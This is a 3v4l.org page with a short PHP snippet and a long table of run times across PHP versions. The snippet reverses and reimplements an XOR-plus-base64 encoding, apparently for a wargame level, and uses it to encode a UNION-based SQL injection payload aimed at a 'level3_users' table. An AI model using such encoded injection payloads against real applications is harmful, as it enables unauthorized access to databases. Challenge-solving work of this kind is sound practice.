3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE user=0x726F6F74/*"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0090.00619.13
8.3.30.0040.01119.10
8.3.20.0060.00319.04
8.3.10.0030.00520.99
8.3.00.0030.00523.42
8.2.170.0000.01622.96
8.2.160.0120.00922.02
8.2.150.0030.00624.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0090.00318.04
8.2.110.0090.00021.00
8.2.100.0090.00317.97
8.2.90.0030.00619.17
8.2.80.0040.00417.97
8.2.70.0060.00317.63
8.2.60.0040.00417.92
8.2.50.0040.00418.10
8.2.40.0040.00420.47
8.2.30.0000.00819.81
8.2.20.0030.00617.78
8.2.10.0000.00817.97
8.2.00.0040.00417.93
8.1.270.0000.00723.99
8.1.260.0070.00726.35
8.1.250.0000.00828.09
8.1.240.0100.00021.30
8.1.230.0040.00817.82
8.1.220.0040.00417.91
8.1.210.0030.00618.77
8.1.200.0060.00317.60
8.1.190.0000.00817.60
8.1.180.0050.00318.10
8.1.170.0050.00318.71
8.1.160.0000.00818.82
8.1.150.0040.00418.83
8.1.140.0030.00517.55
8.1.130.0000.00717.86
8.1.120.0000.00717.71
8.1.110.0080.00017.61
8.1.100.0000.00817.64
8.1.90.0000.00717.66
8.1.80.0000.00717.71
8.1.70.0040.00417.56
8.1.60.0000.00717.83
8.1.50.0000.00817.66
8.1.40.0040.00417.68
8.1.30.0040.00417.68
8.1.20.0000.00817.80
8.1.10.0040.00417.67
8.1.00.0000.00817.58
8.0.300.0050.00318.77
8.0.290.0070.00016.88
8.0.280.0030.00318.41
8.0.270.0000.00717.41
8.0.260.0030.00516.93
8.0.250.0040.00417.12
8.0.240.0090.00317.12
8.0.230.0050.00217.10
8.0.220.0040.00416.97
8.0.210.0100.00017.01
8.0.200.0000.00717.16
8.0.190.0000.00717.05
8.0.180.0030.00917.06
8.0.170.0040.00417.09
8.0.160.0040.00417.16
8.0.150.0100.00017.04
8.0.140.0050.00216.94
8.0.130.0040.00413.54
8.0.120.0050.00317.03
8.0.110.0040.00417.05
8.0.100.0040.00417.09
8.0.90.0040.00416.97
8.0.80.0090.01216.97
8.0.70.0050.00317.13
8.0.60.0050.00216.95
8.0.50.0000.00717.04
8.0.30.0100.00917.38
8.0.20.0100.01417.40
8.0.10.0050.00317.16
8.0.00.0080.01117.05
7.4.330.0000.00614.92
7.4.320.0000.00616.62
7.4.300.0040.00416.83
7.4.290.0000.00716.75
7.4.280.0000.00716.68
7.4.270.0030.00316.68
7.4.260.0000.00513.42
7.4.250.0070.00016.80
7.4.240.0000.00716.81
7.4.230.0040.00416.84
7.4.220.0130.01316.83
7.4.210.0060.00916.82
7.4.200.0000.00716.95
7.4.190.0040.00416.90
7.4.160.0100.00716.89
7.4.150.0100.01017.40
7.4.140.0120.01017.86
7.4.130.0100.00816.67
7.4.120.0130.00416.75
7.4.110.0060.01216.75
7.4.100.0120.00616.68
7.4.90.0130.00616.78
7.4.80.0060.01219.37
7.4.70.0030.01316.73
7.4.60.0130.00616.68
7.4.50.0040.00016.50
7.4.40.0110.00722.52
7.4.30.0110.00716.66
7.4.10.0030.01015.30
7.4.00.0090.00715.14
7.3.330.0000.00613.55
7.3.320.0000.00613.53
7.3.310.0030.00616.57
7.3.300.0030.00316.57
7.3.290.0070.01116.55
7.3.280.0060.01116.59
7.3.270.0140.01217.40
7.3.260.0140.01018.24
7.3.250.0090.01016.52
7.3.240.0000.01716.59
7.3.230.0030.01516.78
7.3.210.0120.00616.91
7.3.200.0070.01119.39
7.3.190.0000.01716.42
7.3.180.0000.01716.70
7.3.170.0160.00316.57
7.3.160.0150.00016.76
7.3.130.0110.00714.79
7.3.120.0110.00515.07
7.3.110.0040.01515.02
7.3.100.0000.01515.36
7.3.90.0110.00015.04
7.3.80.0000.01615.02
7.3.70.0000.01515.16
7.3.60.0000.01014.80
7.3.50.0040.00715.15
7.3.40.0030.01015.05
7.3.30.0110.00315.14
7.3.20.0090.00317.04
7.3.10.0060.00617.00
7.3.00.0100.00016.90
7.2.330.0090.00916.70
7.2.320.0140.00716.89
7.2.310.0060.01316.86
7.2.300.0120.00416.98
7.2.290.0090.00916.83
7.2.260.0040.01115.11
7.2.250.0110.00715.45
7.2.240.0030.01215.36
7.2.230.0000.01415.56
7.2.220.0060.00915.39
7.2.210.0080.00415.15
7.2.200.0070.00715.12
7.2.190.0110.00315.34
7.2.180.0070.01015.38
7.2.170.0030.00615.37
7.2.160.0000.00915.23
7.2.150.0150.00017.11
7.2.140.0070.01017.16
7.2.130.0090.00017.26
7.2.120.0060.00317.23
7.2.110.0030.01016.92
7.2.100.0050.00516.96
7.2.90.0070.00717.32
7.2.80.0100.00717.21
7.2.70.0090.00317.09
7.2.60.0000.01317.00
7.2.50.0040.01117.04
7.2.40.0030.01017.06
7.2.30.0040.01117.15
7.2.20.0000.01017.04
7.2.10.0040.00416.95
7.2.00.0070.01218.40
7.1.330.0000.01316.18
7.1.320.0030.01015.88
7.1.310.0030.01015.95
7.1.300.0040.01115.86
7.1.290.0070.01015.96
7.1.280.0070.00716.14
7.1.270.0070.01015.79
7.1.260.0060.01016.15
7.1.250.0090.00315.56
7.1.240.0030.01316.09
7.1.230.0050.00516.00
7.1.220.0030.01016.04
7.1.210.0030.00616.12
7.1.200.0070.00715.75
7.1.190.0060.00615.86
7.1.180.0070.00716.09
7.1.170.0000.01315.91
7.1.160.0060.00816.05
7.1.150.0070.00716.14
7.1.140.0060.00315.85
7.1.130.0080.00416.00
7.1.120.0040.00416.19
7.1.110.0040.00716.24
7.1.100.0070.00517.26
7.1.90.0030.00715.99
7.1.80.0060.00615.98
7.1.70.0040.00716.61
7.1.60.0070.00616.89
7.1.50.0050.01116.66
7.1.40.0070.00316.06
7.1.30.0110.00216.10
7.1.20.0050.00515.96
7.1.10.0080.00715.92
7.1.00.0050.02119.24
7.0.330.0060.00615.42
7.0.320.0000.01215.86
7.0.310.0070.00715.80
7.0.300.0070.00315.65
7.0.290.0040.00415.54
7.0.280.0070.00415.35
7.0.270.0060.00615.58
7.0.260.0040.00815.59
7.0.250.0060.00615.58
7.0.240.0090.00615.75
7.0.230.0000.00815.53
7.0.220.0030.01015.75
7.0.210.0030.00915.62
7.0.200.0040.01216.28
7.0.190.0030.01015.51
7.0.180.0000.01115.65
7.0.170.0070.00715.79
7.0.160.0070.00715.65
7.0.150.0030.00915.55
7.0.140.0050.02718.81
7.0.130.0000.01215.52
7.0.120.0030.01215.41
7.0.110.0040.01115.64
7.0.100.0070.00715.34
7.0.90.0000.01115.66
7.0.80.0060.00615.73
7.0.70.0020.03018.57
7.0.60.0050.04518.65
7.0.50.0030.04818.85
7.0.40.0000.03416.66
7.0.30.0060.04316.84
7.0.20.0050.04916.85
7.0.10.0050.03216.87
7.0.00.0090.02716.84
5.6.400.0070.00714.66
5.6.390.0090.00614.50
5.6.380.0030.00614.65
5.6.370.0100.00314.77
5.6.360.0030.01014.37
5.6.350.0040.00714.43
5.6.340.0030.01014.33
5.6.330.0080.00814.64
5.6.320.0070.00314.65
5.6.310.0130.00614.89
5.6.300.0000.01014.53
5.6.290.0070.00314.16
5.6.280.0080.03817.70
5.6.270.0030.00614.71
5.6.260.0000.01414.43
5.6.250.0070.00714.82
5.6.240.0030.00714.49
5.6.230.0070.01414.56
5.6.220.0080.04217.45
5.6.210.0100.04217.60
5.6.200.0030.04217.75
5.6.190.0070.04517.78
5.6.180.0030.02817.74
5.6.170.0060.02517.83
5.6.160.0080.04317.81
5.6.150.0030.04017.70
5.6.140.0060.03317.71
5.6.130.0040.04417.81
5.6.120.0070.03517.79
5.6.110.0090.04617.90
5.6.100.0080.04117.85
5.6.90.0020.05117.79
5.6.80.0060.04017.59
5.6.70.0050.03017.32
5.6.60.0070.03917.51
5.6.50.0050.02317.31
5.6.40.0050.04717.41
5.6.30.0020.03717.56
5.6.20.0070.04217.32
5.6.10.0030.04717.49
5.6.00.0080.04317.58
5.5.380.0080.00814.43
5.5.370.0110.01114.22
5.5.360.0050.04517.42
5.5.350.0030.04317.52
5.5.340.0040.04017.78
5.5.330.0020.05017.51
5.5.320.0020.04817.67
5.5.310.0060.04017.75
5.5.300.0030.02617.75
5.5.290.0060.04117.67
5.5.280.0080.03017.61
5.5.270.0070.04417.64
5.5.260.0040.04617.57
5.5.250.0020.05017.54
5.5.240.0050.03817.21
5.5.230.0070.02517.38
5.5.220.0060.04117.27
5.5.210.0080.04217.23
5.5.200.0080.04517.28
5.5.190.0020.04717.21
5.5.180.0040.04717.34
5.5.170.0040.01214.57
5.5.160.0080.04017.39
5.5.150.0070.03517.28
5.5.140.0060.04117.43
5.5.130.0060.04117.22
5.5.120.0090.04117.29
5.5.110.0020.04517.28
5.5.100.0000.04617.26
5.5.90.0040.04217.35
5.5.80.0080.03617.27
5.5.70.0050.04617.25
5.5.60.0030.04317.21
5.5.50.0040.04217.10
5.5.40.0070.04317.27
5.5.30.0080.03817.24
5.5.20.0050.04417.14
5.5.10.0060.04517.11
5.5.00.0040.03417.13
5.4.450.0010.04315.82
5.4.440.0070.04315.79
5.4.430.0080.03815.70
5.4.420.0050.04315.79
5.4.410.0080.03315.68
5.4.400.0020.03315.68
5.4.390.0030.04215.58
5.4.380.0020.04515.63
5.4.370.0030.04215.50
5.4.360.0000.02415.67
5.4.350.0030.03315.58
5.4.340.0030.03115.68
5.4.330.0070.00712.13
5.4.320.0050.04015.67
5.4.310.0040.04415.59
5.4.300.0040.03615.51
5.4.290.0030.02615.63
5.4.280.0010.04315.49
5.4.270.0040.02815.60
5.4.260.0050.04215.68
5.4.250.0020.04215.62
5.4.240.0050.03515.66
5.4.230.0070.04015.51
5.4.220.0050.02815.57
5.4.210.0070.02815.66
5.4.200.0000.04715.65
5.4.190.0030.04315.52
5.4.180.0020.04015.66
5.4.170.0030.03515.58
5.4.160.0050.04215.49
5.4.150.0020.04415.62
5.4.140.0050.04214.29
5.4.130.0050.03714.34
5.4.120.0020.03814.30
5.4.110.0040.02814.23
5.4.100.0050.02814.23
5.4.90.0070.03814.32
5.4.80.0030.03914.24
5.4.70.0070.03814.31
5.4.60.0040.03714.27
5.4.50.0030.02714.26
5.4.40.0020.02514.29
5.4.30.0050.01814.28
5.4.20.0030.03914.30
5.4.10.0030.04214.21
5.4.00.0030.03013.98
5.3.290.0060.03713.98
5.3.280.0050.04013.98
5.3.270.0030.04213.98
5.3.260.0070.03813.98
5.3.250.0050.03713.98
5.3.240.0070.03813.98
5.3.230.0010.04613.98
5.3.220.0030.04113.98
5.3.210.0050.04013.98
5.3.200.0070.03613.98
5.3.190.0050.04013.98
5.3.180.0060.04013.98
5.3.170.0030.04113.98
5.3.160.0050.04513.98
5.3.150.0070.02913.98
5.3.140.0020.03013.98
5.3.130.0080.02313.98
5.3.120.0050.04113.98
5.3.110.0050.03913.98
5.3.100.0020.02413.98
5.3.90.0020.02513.98
5.3.80.0050.01913.98
5.3.70.0020.04413.98
5.3.60.0030.02613.98
5.3.50.0030.02013.98
5.3.40.0070.03813.98
5.3.30.0020.03213.98
5.3.20.0050.03513.98
5.3.10.0030.02113.98
5.3.00.0020.02013.98
5.2.170.0000.03015.84
5.2.160.0000.04015.84
5.2.150.0000.04015.84
5.2.140.0000.07315.84
5.2.130.0070.05015.84
5.2.120.0030.03715.84
5.2.110.0000.03015.84
5.2.100.0030.02715.84
5.2.90.0030.02715.84
5.2.80.0030.04315.84
5.2.70.0030.03015.84
5.2.60.0030.02715.84
5.2.50.0000.03015.84
5.2.40.0030.03015.84
5.2.30.0000.03015.84
5.2.20.0030.02715.84
5.2.10.0000.03015.84
5.2.00.0100.02015.84
5.1.60.0030.02315.84
5.1.50.0000.02715.84
5.1.40.0030.03015.84
5.1.30.0000.03315.84
5.1.20.0000.02715.84
5.1.10.0000.03715.84
5.1.00.0000.03315.84
5.0.50.0030.02315.84
5.0.40.0030.02015.84
5.0.30.0030.03015.84
5.0.20.0030.02315.84
5.0.10.0030.02015.84
5.0.00.0030.03015.84
4.4.90.0000.02015.84
4.4.80.0030.01715.84
4.4.70.0030.01315.84
4.4.60.0000.01715.84
4.4.50.0000.01315.84
4.4.40.0000.02315.84
4.4.30.0030.01315.84
4.4.20.0000.01715.84
4.4.10.0030.01315.84
4.4.00.0070.04715.84
4.3.110.0000.01715.84
4.3.100.0030.01715.84
4.3.90.0030.01315.84
4.3.80.0030.03715.84
4.3.70.0030.01315.84
4.3.60.0100.02715.84
4.3.50.0030.03015.84
4.3.40.0000.04315.84
4.3.30.0000.02315.84
4.3.20.0000.03715.84
4.3.10.0000.02315.84
4.3.00.0000.01715.84

preferences:
41.03 ms | 400 KiB | 5 Q